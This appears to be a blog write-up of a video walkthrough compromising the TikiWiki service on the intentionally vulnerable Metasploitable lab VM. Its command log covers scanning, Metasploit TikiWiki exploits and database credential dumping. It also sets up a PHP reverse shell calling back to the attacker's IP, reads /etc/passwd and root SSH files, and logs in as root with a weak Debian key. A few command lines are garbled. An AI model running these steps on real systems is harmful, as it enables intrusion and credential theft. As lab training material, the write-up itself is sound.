Metasploitable - TikiWiki

This video demonstrates an attack on the TikiWiki service on the metasploitable hackable box.

"Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql." - blog.metasploit.com

Links

Watch video on-line:

Download video: http://download.g0tmi1k.com/videos_archive/Metasploitable-TikiWiki.mp4

Download (debian_ssh_rsa_2048_x86.tar.bz2): *Coming soon*

Method

  • Use Nmap to scan the network (gathering information)
  • Use Nmap to do a more detailed scan of the target (gathering information)
  • Use Metasploit to discover the database details (gaining access)
  • [*] Can also use an exploit (gaining access)
  • Search the database from the account information (gathering information and gaining access)
  • [*] Use a web based backdoor to create shell access (remote access)
  • Automate shell access via Metasploit (remote access)
  • I cheated a little bit here as I had used nessus in a previous scan to discover "Debian OpenSSH/OpenSSL Package Random Number Generator Weakness"
  • Via the payload it is possible to capture the SSH Key and compare it against the weak keys Just like pWnOS (escalating privileges)
  • Connect via SSH as root (complete access)
  • Prove complete access by cracking the shadow file with John The Ripper (then prove it by connecting via SSH using one of the newly acquired accounts)

Tools

  • Nmap - on Backtrack 4 (Final)
  • Metasploit - on Backtrack 4 (Final)
  • DirBuster v0.12 - on Backtrack 4 (Final)
  • SSH - on Backtrack 4 (Final)
  • NetCat - on Backtrack 4 (Final)
  • php-reverse-shell v1.0 - http://pentestmonkey.net/tools/php-reverse-shell/
  • Weak SSH Keys (debian_ssh_rsa_2048_x86.tar.bz2) -Coming soon
  • Metasploitable.vmdk (SHA-1: 7DF98130DAC3167690209716EBF86047C6B9672F)

Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
nmap 192.168.1.1/24
firefox 192.168.1.105
cd /pentest/web/dirbuster
java -jar DirBuster-0.12.jar -u http://192.168.1.105
firefox 192.168.1.105/tikiwiki
msfconsole
search tikiwiki
use use admin/tikiwiki/tikidblib
setg RHOST 192.168.1.105
exploit
firefox -> www.exploit-db.com -> TikiWiki (2701).
firefox 192.168.1.105/tikiwiki/ -> 192.168.1.105/tikiwiki/tiki-listpages.php?offset=0&sort_mode=
mysql -h 192.168.1.105 -u root -p
show databases;
use tikiwiki195;
show tables;
select * from users_users;
select login, password from users_users;
admin
admin
[new passowrd]
php reverse shell
php-reverse-shell.php -> shell.php
kate -> shell.php -> Replace: 127.0.0.1 with 192.168.1.103 [Our IP]. Replace: 1234 with 4321.

nc -v -l -p 4321
whoami
hostname
cat /etc/passwd
search tikiwiki
use exploit/unix/webapp/tikiwiki_graph_formula_exec
show options
show payloads
setg payload generic/shell_bind_tcp
show options
exploit
ls
whoami
cat /etc/passwd
ls -lart /root
ls -lart /root/.ssh
cat /root/.ssh/authorized_keys
firefox -> www.exploit-db.com -> Debian OpenSSL Predictable (5720) -> http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
cd rsa/2048
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE kcP Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc Wv8Vw7bwkf 1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.105][12]Y
whoami
hostname

Notes

Song: Orbital - Halcyon and On and On

Video length: 8:11

Capture length: 21:34

Blog Post: https://blog.g0tmi1k.com/2010/07/metasploitable-tikiwiki/